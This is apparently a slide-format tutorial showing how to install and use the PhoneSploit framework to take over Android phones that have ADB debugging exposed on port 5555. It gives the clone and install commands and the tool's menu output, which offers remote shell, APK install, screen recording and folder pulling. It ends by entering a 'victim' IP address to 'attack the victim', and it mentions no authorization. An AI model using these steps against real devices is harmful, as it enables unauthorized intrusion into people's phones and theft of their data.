

# Hack Android with Phonesploit

@mmar



**Phonesploit** is a framework using which we can exploit android devices, It uses the ADB port 5555 to connect to a device and run commands on it. The tool is able to hack into android phones that have developer mode on and USB debugging enabled

“

*You should be having Kali Linux or  
Parrot OS*

# Step- 1

- ❖ Download and install the framework with following commands

```
apt install adb
```

```
git clone https://github.com/aerosol-can/PhoneSploit
```

```
cd PhoneSploit
```

```
pip3 install colorama
```

```
(kali@kali)-[~]
└─$ git clone https://github.com/aerosol-can/PhoneSploit
Cloning into 'PhoneSploit' ...
remote: Enumerating objects: 163, done.
remote: Counting objects: 100% (42/42), done.
remote: Compressing objects: 100% (36/36), done.
Receiving objects: 30% (50/163), 7.40 MiB | 648.00 KiB/s
```

## Step- 2

❖ Now fire up the framework

➤ `python3 phonesploit.py`

```
PHONESPLOIT

[1] Show Connected Devices      [6] Screen record a phone      [11] Uninstall an app
[2] Disconnect all devices     [7] Screen Shot a picture on a phone [12] Show real time log of device
[3] Connect a new phone        [8] Restart Server            [13] Dump System Info
[4] Access Shell on a phone    [9] Pull folders from phone to pc  [14] List all apps on a phone
[5] Install an apk on a phone  [10] Turn The Device off      [15] Run an app

[99] Exit  [0] Clear  [p] Next Page

error: no devices/emulators found
List of devices attached
```

## Step- 3

- ❖ Type in the IP address of the victim, once connected, use the options to attack the victim

```
[1] Show Connected Devices      [6] Screen record a phone      [11] Uninstall an app
[2] Disconnect all devices     [7] Screen Shot a picture on a phone [12] Show real time log of device
[3] Connect a new phone        [8] Restart Server             [13] Dump System Info
[4] Access Shell on a phone    [9] Pull folders from phone to pc  [14] List all apps on a phone
[5] Install an apk on a phone  [10] Turn The Device off       [15] Run an app

[99] Exit   [0] Clear   [p] Next Page

error: no devices/emulators found
List of devices attached

      I

[+] Enter a phones ip address.(Type 99 to exit)
→ phonesploit(connect_phone) > 192.168.20.132
```



DEMO

A photograph of a body of water with mountains in the background and a small structure on the right. The word "THANKS" is overlaid in the center.

THANKS